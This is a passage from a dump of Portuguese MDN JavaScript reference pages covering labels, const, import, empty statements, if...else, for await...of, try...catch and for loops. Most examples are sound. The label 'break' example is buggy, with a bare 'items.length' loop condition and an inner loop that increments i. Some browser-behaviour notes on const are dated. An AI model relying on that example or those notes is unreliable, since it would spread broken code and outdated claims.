\"i = 1, j = 1\" e \"i = 1, j = 2\"\n```\n\n### Exemplo 2 `(continue)`\n\nDado uma lista de itens e outra de testes, este exemplo conta o número de ítens que passam em todos os testes.\n\n\n```js\nvar itemsPassed = 0;\nvar i, j;\n\ntop: for (i = 0; i < items.length; i++) {\n  for (j = 0; j < tests.length; j++) if (!tests[j].pass(items[i])) continue top;\n  itemsPassed++;\n}\n```\n\n### Exemplo 3 `(break)`\n\nDado uma lista de ítens e uma lista de testes, neste exemplo determina-se se todos os ítens passam em todos os testes.\n\n\n```js\nvar allPass = true;\nvar i, j;\n\ntop: for (i = 0; items.length; i++)\n  for (j = 0; j < tests.length; i++)\n    if (!tests[j].pass(items[i])) {\n      allPass = false;\n      break top;\n    }\n```\n\nVeja também\n-----------\n\n* break (en-US)\n* continue (en-US)"}
{"title":"const - JavaScript","text":"const\n=====\n\nConstantes possuem escopo de bloco, semelhantes às variáveis declaradas usando o palavra-chave `let`. O valor de uma constante não pode ser alterado por uma atribuição, e ela não pode ser redeclarada.\n\nExperimente\n-----------\n\nResumo\n------\n\nA **declaração `const`** cria uma variável cujo o valor é fixo, ou seja, uma constante somente leitura. Isso não significa que o valor é imutável, apenas que a variável constante não pode ser alterada ou retribuída.\n\nSintaxe\n-------\n```\n\nconst name1 = value1 [, name2 = value2 [, ... [, nameN = valueN]]]];\n```\n\n\n`nameN`\n\nNome da constante. Pode ser qualquer identificador válido.\n\n`valueN`\n\nValor atribuido a constante. Pode ser qualquer expressão válida, incluindo uma função.\n\nDescrição\n---------\n\nEsta declaração cria uma constante que pode pertencer tanto ao escopo global (na janela ou objeto) quanto ao local do bloco em que é declarada. Constantes globais não se tornam propriedades do objeto `window`, diferente da criação de variáveis com `var`.\n\nToda constante requer um inicializador, ou seja, é preciso especificar um valor para a constante no momento em que ela é declarada (o que faz sentido, uma vez que esse valor não pode ser alterado).\n\nA declaração **`const`** cria uma referência somente leitura a um valor. Isso **não** significa que esse valor é imutável, apenas que o identificador da variável constante não pode ser alterado. Se o conteúdo do identificador for um objeto, isso significa que o conteúdo do objeto (ex. seus parâmetros) podem ser alterados.\n\nTodas as considerações de \"temporal dead zone\" se aplicam tanto a **`let`** quanto a **`const`**.\n\nUma constante não pode ter o mesmo nome que uma função ou variável que esteja no mesmo escopo.\n\nExemplos\n--------\n\nO exemplo abaixo demonstra o comportamento de uma constante. Experimente executá-lo no console do seu navegador.\n\n\n```js\n// NOTA: constantes podem ser declaradas em caixa alta ou baixa,\n// mas uma convenção comum é usar apenas caixa alta\n\n// define MY\\_FAV como uma constante e lhe atribui o valor 7\nconst MY\\_FAV = 7;\n\n// isto falha mas não emite erros no Firefox e Chrome (porém não falha no Safari)\nMY\\_FAV = 20;\n\n// a variável MY\\_FAV possui o valor 7\nconsole.log(\"my favorite number is: \" + MY\\_FAV);\n\n// tentar redeclarar a constante emite um erro - Uncaught SyntaxError: Identifier 'MY\\_FAV' has already been declared\nconst MY\\_FAV = 20;\n\n// o nome MY\\_FAV está reservado para a constante acima, logo também irá falhar\nvar MY\\_FAV = 20;\n\n// isso também vai falhar\nlet MY\\_FAV = 20;\n\n// É importante notar a natureza de escopo por bloco\nif (MY\\_FAV === 7) {\n    // não tem problema fazer isso, pois cria uma variável de bloco MY\\_FAV\n    // com escopo local (o nome MY\\_FAV poderia ser usado com let também)\n    let MY\\_FAV = 20;\n\n    // MY\\_FAV agora é 20\n    console.log(\"meu número favorito é \" + MY\\_FAV);\n\n    // isso retorna um erro, pois tenta registrar a variável no contexto global\n    var MY\\_FAV = 20;\n}\n\n//MY\\_FAV ainda é 7\nconsole.log('meu número favorito é ' + MY\\_FAV);\n\n// const deve ser inicializada\nconst FOO; // SyntaxError: missing = in const declaration\n\n// const também funciona com objetos\nconst MY\\_OBJECT = {'key':'value'};\n\n// Sobrescrever o objeto também falha (no Firefox e Chrome mas não no Safari) - Uncaught TypeError: Assignment to constant variable.\nMY\\_OBJECT = {\"OTHER\\_KEY\": \"value\"};\n\n// Entretanto, atributos de objetos não estão protegidos,\n// logo a seguinte instrução é executada sem problemas\nMY\\_OBJECT.key = \"otherValue\"; // Utilize Object.freeze() se quiser tornar um objeto imutável\n\n// o mesmo se aplica para arrays\nconst MY\\_ARRAY = [];\n// É possível utilizar push para incluir itens no array\nMY\\_ARRAY.push('A'); //[\"A\"]\n// Todavia, atribuir um novo array para a variável gera um erro\nMY\\_ARRAY = ['B'];\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-let-and-const-declarations |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### Observações\n\nEm versões anteriores do Firefox & Chrome e a partir de Safari 5.1.7 e Opera 12.00, se você define uma variável com `const`, você ainda consegue alterar o valor depois. Este recurso não é suportado no Internet Explorer 6-10, mas está incluído no Internet Explorer 11.\n\n### Observações específicas para Firefox\n\nA declaração `const` foi implementada no Firefox muito antes de `const` aparecer na especificação ECMAScript 6. For `const` ES6 compliance see Erro do Firefox 950547 and Erro do Firefox 611388.\n\n* Iniciando com o Gecko 36:\n    + `{const a=1};a` passa a retornar `ReferenceError` e não retorna `1` devido block-scoping.\n    + `const a;` passa a retornar `SyntaxError` (en-US) (\"missing = in const declaration`\"`): É necessário incializar a constante.\n    + `const a = 1; a = 2;` passa a retornar `SyntaxError` (en-US) (\"invalid assignment to const a\").\nVeja também\n-----------\n\n* `var`\n* `let`\n* Guia de constantes em JavaScript"}
{"title":"import - JavaScript","text":"import\n======\n\nA declaração estática **`import`** é usada para importar vínculos que são exportados por um outro módulo. Os módulos importados estão em `strict mode`, declarado como tal ou não. A declaração `import` não pode ser usada em scripts embutidos, a menos que tal script tenha um `type=\"module\"`.\n\nHá também uma função dinâmica **`import()`**, que não requer scripts de `type=\"module\"`.\n\nA compatibilidade com versões anteriores pode ser garantida usando o atributo `nomodule` na tag de script.\n\nA importação dinâmica é útil em situações em que você deseja carregar um módulo condicionalmente ou sob demanda. A forma estática é preferível para carregar dependências iniciais e pode se beneficiar mais prontamente de ferramentas de análise estática e tree shaking (en-US).\n\nSintaxe\n-------\n```\n\nimport defaultExport from \"module-name\";\nimport * as name from \"module-name\";\nimport { export } from \"module-name\";\nimport { export as alias } from \"module-name\";\nimport { export1 , export2 } from \"module-name\";\nimport { foo , bar } from \"module-name/path/to/specific/un-exported/file\";\nimport { export1 , export2 as alias2 , [...] } from \"module-name\";\nimport defaultExport, { export [ , [...] ] } from \"module-name\";\nimport defaultExport, * as name from \"module-name\";\nimport \"module-name\"; var promise = import(\"module-name\"); // This is a stage 3 proposal.\n```\n\n\n`defaultExport`\n\nNome que de referência para a exportação padrão do módulo.\n\n`module-name`\n\nO módulo para importar. Geralmente, esse é um nome de caminho relativo ou absoluto para o arquivo `.js` contendo esse módulo. Certos empacotadores podem permitir ou exigir o uso da extensão; verifique seu ambiente. Apenas aspas simples e aspas duplas são permitidas.\n\n`name`\n\nNome do objeto do módulo que será usado como um tipo de espaço de nomes ao se referir às importações.\n\n`export, exportN`\n\nNome das exportações a serem importadas.\n\n`alias, aliasN`\n\nNomes que se referem às importações nomeadas.\n\nDescrição\n---------\n\nO parâmetro name é o nome do \"objeto módulo\", que será usado como um tipo de namespace para se referir às exportações. Os parâmetros de exportação especificam exportações nomeadas individuais, enquanto a importação \\* como sintaxe de nome importa todos eles. Abaixo estão alguns exemplos para esclarecer a sintaxe.\n\n### Importar o conteúdo de todo um módulo\n\nIsso insere `myModule` no escopo atual, contendo todas as exportações do módulo no arquivo localizado em `/modules/my-module.js`.\n```\n\nimport * as myModule from '/modules/my-module.js';\n```\n\n\nAqui, acessar as exportações significa usar o nome do módulo (\"myModule\" neste caso) como um namespace. Por exemplo, se o módulo importado acima incluir um export `doAllTheAmazingThings()`, você o chamaria assim:\n```\n\nmyModule.doAllTheAmazingThings();\n```\n\n### Importar uma única exportação de um módulo\n\nDado um objeto ou valor chamado `myExport`que foi exportado do módulo `my-module` implicitamente (porque o módulo inteiro é exportado) ou explicitamente (usando a instrução `export` statement), isso insere `myExport` no escopo atual.\n```\n\nimport {myExport} from '/modules/my-module.js';\n```\n\n### Importar várias exportações do módulo\n\nIsso inclui tanto `foo` como `bar` no escopo atual.\n\n### Importar uma exportação com um alias mais conveniente\n\nVocê pode renomear uma exportação ao importá-la. Por exemplo, isso insere `shortName` no escopo atual.\n```\n\nimport {reallyReallyLongModuleExportName as shortName}\n  from '/modules/my-module.js';\n```\n\n### Renomear várias exportações durante a importação\n\nImporte várias exportações de um módulo com aliases convenientes.\n```\n\nimport {\n  reallyReallyLongModuleExportName as shortName,\n  anotherLongModuleName as short\n} from '/modules/my-module.js';\n```\n\n### Importar um módulo apenas para seus efeitos colaterais\n\nImporte um módulo inteiro somente para efeitos colaterais, sem importar nada. Isso executa o código global do módulo, mas na verdade não importa nenhum valor.\n```\n\nimport '/modules/my-module.js';\n```\n\n### Importando Padrões\n\nÉ possível ter um padrão `exportação` (seja um objeto, uma função, uma classe etc.). A declaração de importação pode então ser usada para importar esses padrões.\n\nA versão mais simples importa diretamente o padrão:\n```\n\nimport myDefault from '/modules/my-module.js';\n```\n\n\nTambém é possível usar a sintaxe padrão com as vistas acima (importações de namespace ou importações nomeadas). Em tais casos, a importação padrão terá que ser declarada primeiro. Por exemplo:\n```\n\nimport myDefault, * as myModule from '/modules/my-module.js';\n// myModule used as a namespace\n```\n\n\nOu\n```\n\nimport myDefault, {foo, bar} from '/modules/my-module.js';\n// specific, named imports\n```\n\n### Importações Dinâmicas\n\nA palavra-chave `import` pode ser chamada como uma função para importar dinamicamente um módulo. Quando usado dessa maneira, retorna uma promessa.\n```\n\nimport('/modules/my-module.js')\n  .then((module) => {\n    // Do something with the module.\n  });\n```\n\n\nEste formulário também suporta a palavra-chave await.\n```\n\nlet module = await import('/modules/my-module.js');\n```\n\nExemplos\n--------\n\n### Padrão Import\n\nO código abaixo mostra como importar um módulo secundário para auxiliar no processamento de uma requisição AJAX que retorna um JSON.\n\n#### O Módulo: file.js\n```\n\nfunction getJSON(url, callback) {\n  let xhr = new XMLHttpRequest();\n  xhr.onload = function () {\n    callback(this.responseText)\n  };\n  xhr.open('GET', url, true);\n  xhr.send();\n}\n\nexport function getUsefulContents(url, callback) {\n  getJSON(url, data => callback(JSON.parse(data)));\n}\n```\n\n\n#### O programa principal: main.js\n\n\n```js\nimport { getUsefulContents } from \"/modules/file.js\";\n\ngetUsefulContents(\"http://www.example.com\", (data) => {\n  doSomethingUseful(data);\n});\n```\n\n### Dynamic Import\n\nEste exemplo mostra como carregar a funcionalidade em uma página com base em uma ação do usuário, nesse caso, um clique no botão e, em seguida, chamar uma função dentro desse módulo. Esta não é a única maneira de implementar essa funcionalidade. A função `import()` também é compatível com `await`.\n\n\n```js\nconst main = document.querySelector(\"main\");\nfor (const link of document.querySelectorAll(\"nav > a\")) {\n  link.addEventListener(\"click\", (e) => {\n    e.preventDefault();\n\n    import(\"/modules/my-module.js\")\n      .then((module) => {\n        module.loadPageInto(main);\n      })\n      .catch((err) => {\n        main.textContent = err.message;\n      });\n  });\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-imports |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `export`\n* `import.meta`\n* Previewing ES6 Modules and more from ES2015, ES2016 and beyond\n* ES6 in Depth: Modules, Hacks blog post by Jason Orendorff\n* ES modules: A cartoon deep-dive, Hacks blog post by Lin Clark\n* Axel Rauschmayer's book: \"Exploring JS: Modules\""}
{"title":"empty - JavaScript","text":"empty\n=====\n\nUma **declaração vazia** é usada para fornecer nenhuma declaração, embora a sintaxe do JavaScript esperasse uma.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\n;\n```\n\nDescrição\n---------\n\nA instrução vazia é um ponto-e-vírgula (;) indicando que nenhuma instrução será executada, mesmo se a sintaxe do JavaScript exigir uma.\n\nO comportamento oposto, em que você deseja várias instruções, mas o JavaScript permite apenas uma única, é possível usando uma instrução de bloco ; combina várias declarações em uma única.\n\nExemplos\n--------\n\nA instrução vazia às vezes é usada com instruções de loop. Veja o exemplo a seguir com um corpo de loop vazio:\n\n\n```js\nvar arr = [1, 2, 3];\n\n// Assign all array values to 0\nfor (i = 0; i < arr.length; arr[i++] = 0 /\\* empty statement \\*/);\n\nconsole.log(arr);\n// [0, 0, 0]\n```\n\n\n**Nota:** É uma boa ideia comentar o uso intencional da declaração vazia, pois não é realmente óbvio distinguir entre um ponto e vírgula normal. No exemplo a seguir, o uso provavelmente não é intencional:\n\n\n```js\nif (condition) // Caution, this \"if\" does nothing!\n  killTheUniverse(); // So this gets always executed!!!\n```\n\n\nOutro Exemplo: Uma declaração `if...else` declaração sem chaves ({ }). Se três for verdadeiro, nada acontecerá, quatro não importa e também a função launchRocket ( ) no caso contrário não será executada.\n\n\n```js\nif (one) doOne();\nelse if (two) doTwo();\nelse if (three) // nothing here\nelse if (four) doFour();\nelse launchRocket();\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-empty-statement |\n\nBrowsers compatíveis\n--------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Block statement`"}
{"title":"if...else - JavaScript","text":"if...else\n=========\n\nA condicional **if** é uma estrutura condicional que executa a afirmação, dentro do bloco, se determinada condição for verdadeira. Se for falsa, executa as afirmações dentro de **else**.\n\nSintaxe\n-------\n```\n\nif (condição) afirmação1 [else afirmação2]\n```\n\n\n`condição`\n\nUma expressão (premissa) que pode ser avaliada como verdadeira (true) ou falsa (false), veja lógica de programação para entender melhor.\n\n`condição1`\n\nCondicional que será executada caso a condição em *if* seja verdadeira (true). Pode ser qualquer instrução, incluindo mais condicionais *if* aninhadas à instrução. Para executar multiplas instruções, faça um agrupamento com uma instrução em bloco ({ ... }). Para não executar nenhuma instrução, utilize uma instrução vazia (empty).\n\n`condição2`\n\nCondicional que será executada caso a condição em *if* seja avaliada como falsa (false) e a condição *else* exista. Pode ser qualquer instrução, incluindo instruões em bloco e mais condicionais *if* aninhadas.\n\nDescrição\n---------\n\nMúltiplas condicionais *if ... else* podem ser aninhados quando necessário. Observe que não existe elseif (em uma palavra). O correto é a instrução com espaços (else if), conforme abaixo:\n```\n\nif (condição1)\n   instrução1\nelse if (condição2)\n   instrução2\nelse if (condição3)\n   instrução3\n...\nelse\n   instruçãoN\n```\n\n\nPara ver seu funcionamento, abaixo está a instrução como deveria ser caso identada corretamente.\n```\n\nif (condição1)\n   instrução1\nelse\n   if (condição2)\n      instrução2\n   else\n      if (condição3)\n...\n```\n\n\nPara executar multiplas instruções dentro de uma condição, utilize um bloco (`{ ... }`) . Em geral, é sempre uma boa prática utilizar instruções dentro de blocos, especialmente em códigos que envolvam condicionais *if* aninhadas:\n```\n\nif (condição) {\n   instrução1\n} else {\n   instrução2\n}\n```\n\n\nNão confunda os valores boolean primitivos `true` e `false` com os valores true e false do objeto Boolean. Qualquer valor que não for `undefined`, `null`, `0`, `NaN`, ou uma string vazia (`\"\"`), e qualquer objeto, incluíndo um objeto Boolean cujo valor é false, é avaliado como true quando passado por uma condicional. Por exemplo:\n\n\n```js\nvar b = new Boolean(false);\nif (b) // essa condição é avaliada como true\n```\n\nExemplos\n--------\n\n### Usando `if...else`\n\n\n```js\nif (cipher_char === from_char) {\n  result = result + to_char;\n  x++;\n} else {\n  result = result + clear_char;\n}\n```\n\n### Usando `else if`\n\nPerceba que não existe sintaxe de `elseif` em JavaScript. Entretanto, você pode escrevê-la com um espaço entre o if e o else.\n\n\n```js\nif (x > 5) {\n} else if (x > 50) {\n} else {\n}\n```\n\n### Atribuições junto de expressões condicionais\n\nÉ recomendado não utilizar atribuições simples junto de uma expressão condicional, visto que atribuições podem ser confundidas com igualdade ao olhar o código. Por exemplo, não use o código abaixo:\n\n\n```js\nif (x = y) {\n  /\\* faça a coisa certa \\*/\n}\n```\n\n\nCaso você precise utilizar uma atribuição em uma expressão condicional, uma prática comum é inserir parênteses adicionais em volta da atribuição. Por exemplo:\n\n\n```js\nif ((x = y)) {\n  /\\* faça a coisa certa \\*/\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-if-statement |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `block`\n* `switch`"}
{"title":"for await...of - JavaScript","text":"for await...of\n==============\n\nA **declaração `for await...of`** cria um loop que itera sobre objetos iteráveis assíncronos, bem como sobre iteráveis síncronos, incluindo: `String`, `Array`, `Array`-como objetos (e.g., `arguments` or `NodeList`), `TypedArray` (en-US), `Map`, `Set`, e iteráveis async/sync. Invoca um hook de iteração personalizado com instruções a serem executadas para o valor de cada propriedade do objeto.\n\nSintaxe\n-------\n```\n\nfor await (variável of iterável) {\n  // declaração\n}\n```\n\n\n`variável`\n\nEm cada iteração, o valor de uma propriedade diferente é atribuído à *variável*. A *variável* pode ser declarada como `const`, `let` ou `var`.\n\n`iterável`\n\nObjeto cujas propriedades iteráveis devem ser iteradas.\n\n### Iterando sobre iteráveis assíncronos\n\nVocê também pode iterar sobre um objeto que explicidamente implementa protocolo iterável assíncrono(*async iterable protocol*):\n\n\n```js\nvar asyncIterable = {\n  [Symbol.asyncIterator]() {\n    return {\n      i: 0,\n      next() {\n        if (this.i < 3) {\n          return Promise.resolve({ value: this.i++, done: false });\n        }\n\n        return Promise.resolve({ done: true });\n      },\n    };\n  },\n};\n\n(async function () {\n  for await (let num of asyncIterable) {\n    console.log(num);\n  }\n})();\n\n// 0\n// 1\n// 2\n```\n\n### Iterando sobre generators assíncronos\n\nComo os geradores assíncronos implementam o protocolo assíncrono Iterator, eles podem fazer um loop usando `for await... of`\n\n\n```js\nasync function\\* asyncGenerator() {\n  var i = 0;\n  while (i < 3) {\n    yield i++;\n  }\n}\n\n(async function () {\n  for await (let num of asyncGenerator()) {\n    console.log(num);\n  }\n})();\n// 0\n// 1\n// 2\n```\n\n\nPara termos um exemplo mais concreto de iteração sobre um generator assíncrono usando `for await... of`, considere iterar sobre dados obtidos através de um fecth de uma API. Este exemplo cria primeiro um iterador assíncrono para um stream de dados e depois usa-o para encontrar o tamanho da resposta da API.\n\n\n```js\nasync function\\* streamAsyncIterator(stream) {\n  const reader = stream.getReader();\n  try {\n    while (true) {\n      const { done, value } = await reader.read();\n      if (done) {\n        return;\n      }\n      yield value;\n    }\n  } finally {\n    reader.releaseLock();\n  }\n}\n// Obtém dados do URL e calcula o tamanho da resposta usando o generator assíncrono\nasync function getResponseSize(url) {\n  const response = await fetch(url);\n  // Guardará o tamanho do response em bytes.\n  let responseSize = 0;\n  // O for-wait-loop irá iterar de forma assíncrona sobre cada parte do response.\n  for await (const chunk of streamAsyncIterator(response.body)) {\n    // Incrementa o valor do responseSize\n    responseSize += chunk.length;\n  }\n\n  console.log(`Response Size: ${responseSize} bytes`);\n  // output esperado:\"Response Size: 1071472\"\n  return responseSize;\n}\ngetResponseSize(\"https://jsonplaceholder.typicode.com/photos\");\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-for-in-and-for-of-statements |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Statements/for...of`"}
{"title":"try...catch - JavaScript","text":"try...catch\n===========\n\nAs declarações **try...catch** marcam um bloco de declarações para testar (**try**), e especifica uma resposta, caso uma exceção seja lançada.\n\nSintaxe\n-------\n```\n\ntry {\n   try_statements\n}\n[catch (exception_var_1 if condition_1) {\n   catch_statements_1\n}]\n...\n[catch (exception_var_2) {\n   catch_statements_2\n}]\n[finally {\n   finally_statements\n}]\n```\n\n\n`try_statements`\n\nDeclarações (statements) a serem executadas.\n\n`catch_statements_1`, `catch_statements_2`\n\nDeclarações que são executadas se uma exceção é lançada no bloco `try.`\n\n`exception_var_1`, `exception_var_2`\n\nUm indentificador que leva um objeto exceção para uma cláusula `catch` associada.\n\n`condition_1`\n\nUma expressão condicional.\n\n`finally_statements`\n\nDeclarações que são executadas depois que a declaração `try` é completada. Essas declarações são executadas independetemente se uma exceção foi ou não lançada ou capturada.\n\nDescrição\n---------\n\nA declaração `try` consiste em um bloco `try`, que contém uma ou mais declarações, e ao menos uma cláusula `catch` ou uma cláusula `finally`, ou ambas. Ou seja, há 3 formas de declarações `try` :\n\n1. `try...catch`\n2. `try...finally`\n3. `try...catch...finally`\n\nUma cláusula `catch` contém declarações que especificam o que fazer caso uma exceção seja lançada no bloco `try`. Ou seja, se você quer que o bloco `try` tenha êxito, e caso não tenha, você quer que o controle passe para o bloco `catch`. Caso qualquer declaração dentro do bloco `try` (ou em uma função chamada no interior do bloco `try`) lançar uma exceção o controle imediatamente muda para a cláusula `catch`. Se nenhuma exceção for lançada no bloco `try` a cláusula `catch` é ignorada.\n\nA cláusula `finally` é executada após a excecução do bloco `try` e da(s) cláusula(s) `catch` porém antes das declarações seguintes ao `try`. Ela sempre é executada, independente se uma exceção for lançada ou capturada.\n\nVocê pode aninhar uma ou mais declarações `try`. Caso uma declaração `try` interior não tenha uma cláusula `catch`, a cláusula catch pertencente a declaração `try` que a envolve é introduzida.\n\nVocê pode usar a declaração try para manipular exceções em JavaScript. Veja o Guia Javascript para informações sobre exceções em JavaScript.\n\n### Cláusula catch incondicional\n\nQuando uma única, incondicional cláusula `catch` é utilizada, o bloco `catch` é inserido quando qualquer exceção for lançada. Por exemplo, quando a exceção ocorre no código a seguir, o controle é transferido para a cláusula `catch`.\n\n\n```js\ntry {\n  throw \"myException\"; // gera uma exceção\n} catch (e) {\n  // declarações para manipular quaisquer exceções\n  logMyErrors(e); // passa o objeto de exceção para o manipulador de erro\n}\n```\n\n### Cláusulas `catch` condicionais\n\n**Non-standard:** This feature is non-standard and is not on a standards track. Do not use it on production sites facing the Web: it will not work for every user. There may also be large incompatibilities between implementations and the behavior may change in the future.\n\nVocê pode utilizar uma ou mais cláusulas `catch` condicionals para manipular exceções específicas. Nesse caso a cláusula `catch` apropriada será inserida quando a exceção espeficica for lançada. No exemplo a seguir, o código no bloco `try` pode potencialmente jogar três exceções: `TypeError`, `RangeError` (en-US), e `EvalError`. Quando a exceção ocorre, o controle transfere para a cláusula `catch` apropriada. Caso a exceção não seja uma das especificadas e uma cláusula `catch` incondicional for encontrada, o controle é transferido para essa cláusula `catch`.\n\nSe utilizar uma cláusula `catch` incondicional com uma ou mais cláusulas `catch` condicionais, o catch incondicional deve ser especificado por último. Caso contrário, o catch incondicional interceptará todos os tipos de exceção antes que eles alcancem os condicionais.\n\nNota: Essa funcionalidade não é parte da especificação ECMAScript.\n```\n\ntry {\n    myroutine(); // pode lançar três tipos de exceções\n} catch (e if e instanceof TypeError) {\n    // declarações para manipular exceções TypeError\n} catch (e if e instanceof RangeError) {\n    // declarações para manipular exceções RangeError\n} catch (e if e instanceof EvalError) {\n    // declarações para manipular exceções EvalError\n} catch (e) {\n    // declarações para manipular quaisquer exceções não especificadas\n    logMyErrors(e); // passa o objeto de exceção para o manipulador de erro\n}\n```\n\n\nE aqui temos como implementar as mesmas \"cláusulas `catch` condicionais\" utilizando apenas JavaScript puro conforme a especificação ECMAScript (obviamente é mais verboso, porém, funciona em qualquer lugar):\n```\n\ntry {\n    myroutine(); // pode lançar três tipos de exceções\n} catch (e) {\n    if (e instanceof TypeError) {\n        // declarações para manipular exceções TypeError\n    } else if (e instanceof RangeError) {\n        // declarações para manipular exceções RangeError\n    } else if (e instanceof EvalError) {\n        // declarações para manipular exceções EvalError\n    } else {\n       // declarações para manipular quaisquer exceções não especificadas\n       logMyErrors(e); // passa o objeto de exceção para o manipulador de erro\n    }\n}\n```\n\n### O identificador de exceção\n\nQuando uma exceção é lançada no bloco `try`, `exception_var` (ex. o `e` dentro de `catch (e)`) armazena o valor especificado pela declaração `throw`. Você pode usar esse identificador para conseguir informação sobre a exceção que foi lançanda.\n\nEsse identificador é local para a cláusula `catch`. Ou seja, é criado quando a cláusula `catch` é introduzida e após terminar sua excecução o identificador não se torna mais disponível.\n\n### A cláusula `finally`\n\nA cláusula `finally` é executada após a excecução do bloco `try` e da(s) cláusula(s) `catch` porém antes das declarações seguintes a declaração `try`. Ela sempre é executada, independente se uma exceção for lançada ou capturada.\n\nA cláusula `finally` contém declarações para executarem após a execução do bloco `try` e da(s) cláusula(s) `catch` porém antes das declarações seguintes a declaração `try`. A cláusula `finally` é excutada independente se uma exceção for lançada ou não. Caso uma exceção seja lançada, as declarações no interior da cláusula `finally` são executadas mesmo que nenhum `catch` manipule a exceção.\n\nVocê pode utilizar a cláusula `finally` para fazer seu script falhar graciosamente quando uma exceção ocorrer; por exemplo, você pode precisar liberar um recurso que seu script possui vinculado. O exemplo seguinte abre um aquivo e então executa declarações que utilizam o arquivo (server-side JavaScript permite que você acesse arquivos). Se uma exceção for lançada enquanto o arquivo estiver aberto, a cláusula `finally` fecha o arquivo antes que o script falhe.\n\n\n```js\nopenMyFile();\ntry {\n  // vincula o recurso\n  writeMyFile(theData);\n} finally {\n  closeMyFile(); // sempre fecha o recurso\n}\n```\n\nExemplos\n--------\n\n### Blocos try aninhados\n\nPrimeiro vamos ver o que acontece com isso:\n```\n\ntry {\n  try {\n    throw new Error(\"oops\");\n  }\n  finally {\n    console.log(\"finally\");\n  }\n}\ncatch (ex) {\n  console.error(\"outer\", ex.message);\n}\n\n// Resultado\n// \"finally\"\n// \"outer\" \"oops\"\n```\n\n\nAgora, caso nós já capturamos a exceção no bloco `try` interno adicionando um bloco `catch`\n```\n\ntry {\n  try {\n    throw new Error(\"oops\");\n  }\n  catch (ex) {\n    console.error(\"inner\", ex.message);\n  }\n  finally {\n    console.log(\"finally\");\n  }\n}\ncatch (ex) {\n  console.error(\"outer\", ex.message);\n}\n\n// Resultado:\n// \"inner\" \"oops\"\n// \"finally\"\n```\n\n\nE agora, vamos relançar o erro.\n```\n\ntry {\n  try {\n    throw new Error(\"oops\");\n  }\n  catch (ex) {\n    console.error(\"inner\", ex.message);\n    throw ex;\n  }\n  finally {\n    console.log(\"finally\");\n  }\n}\ncatch (ex) {\n  console.error(\"outer\", ex.message);\n}\n\n// Resultado:\n// \"inner\" \"oops\"\n// \"finally\"\n// \"outer\" \"oops\"\n```\n\n\nQualquer exceção lançada será capturada apenas uma vez pelo bloco `catch` envolvente mais próximo, a não ser que seja relançada. Obviamente qualquer nova exceção elevada no bloco \"interno\" (pois código em um bloco `catch` pode fazer algo que lance), será capturado pelo bloco \"externo\".\n\n### Retornando de um bloco `finally`\n\nCaso o bloco `finally` retorne um valor, esse valor torna-se o valor de retorno do produto de `try-catch-finally` inteiro, independente de qualquer declaração return nos blocos `try` e `catch`. Isso inclui exceções lançadas dentro do bloco `catch`:\n```\n\ntry {\n  try {\n    throw new Error(\"oops\");\n  }\n  catch (ex) {\n    console.error(\"inner\", ex.message);\n    throw ex;\n  }\n  finally {\n    console.log(\"finally\");\n    return;\n  }\n}\ncatch (ex) {\n  console.error(\"outer\", ex.message);\n}\n\n// Resultado:\n// \"inner\" \"oops\"\n// \"finally\"\n```\n\n\nO \"oops\" externo não é lançado devido ao retorno do bloco `finally`. O mesmo se aplicaria a qualquer valor retornado do bloco `catch`.\n\nVejam também\n------------\n\n* throw\n* Error"}
{"title":"for - JavaScript","text":"for\n===\n\nA instrução `for` cria um loop que consiste em três expressões opcionais, dentro de parênteses e separadas por ponto e vírgula, seguidas por uma declaração ou uma sequência de declarações executadas em sequência.\n\nA fonte desse exemplo interativo está armazenada em um repositório do GitHub. Se você gostaria de contribuir com os projetos de exemplos interativos, por favor clone https://github.com/mdn/interactive-examples e nos envie um pull request (requisição para puxar).\n\nSintaxe\n-------\n```\n\nfor ([inicialização]; [condição]; [expressão final])\n   declaração\n```\n\n\n`inicialização`\n\nUma expressão (incluindo expressões de atribuição) ou declarações variáveis. Geralmente usada para iniciar o contador de variáveis. Esta expressão pode, opcionalmente, declarar novas variáveis com a palavra chave `var`. Essas variáveis não são locais no loop, isto é, elas estão no mesmo escopo que o loop `for` está. Variáveis declaradas com let são locais para a declaração.\n\nO resultado desta expressão é descartado.\n\n`condição`\n\nUma expressão para ser avaliada antes de cada iteração do loop. Se esta expressão for avaliada para true, `declaração` será executado. Este teste da condição é opcional. Se omitido, a condição sempre será avaliada como verdadeira. Se a expressão for avaliada como falsa, a execução irá para a primeira expressão após a construção loop `for`.\n\n`expressão final`\n\nUma expressão que será validada no final de cada iteração de loop. Isso ocorre antes da próxima avaliação da condição. Geralmente usado para atualizar ou incrementar a variável do contador.\n\n`declaração`\n\nUma declaração que é executada enquanto a condição for verdadeira. Para executar múltiplas condições dentro do loop, use uma instrução de bloco `({...})` para agrupar essas condições. Para não executar declarações dentro do loop, use uma instrução vazia `(;)`.\n\nExemplos de uso\n---------------\n\n### Usando `for`\n\nA declaração `for` começa declarando a variável `i` e inicializando-a como `0`. Ela verifica se `i` é menor que nove, executa as duas instruções subsequentes e incrementa 1 a variável `i` após cada passagem pelo loop.\n\n\n```js\nfor (var i = 0; i < 9; i++) {\n  console.log(i);\n  // more statements\n}\n```\n\n### Expressões `for` opcionais\n\nTodas as três expressões na condição do loop `for` são opcionais.\n\nPor exemplo, no bloco de *inicialização*, não é necessário inicializar variáveis:\n\n\n```js\nvar i = 0;\nfor (; i < 9; i++) {\n  console.log(i);\n  // more statements\n}\n```\n\n\nAssim como ocorre no bloco de *inicialização*, 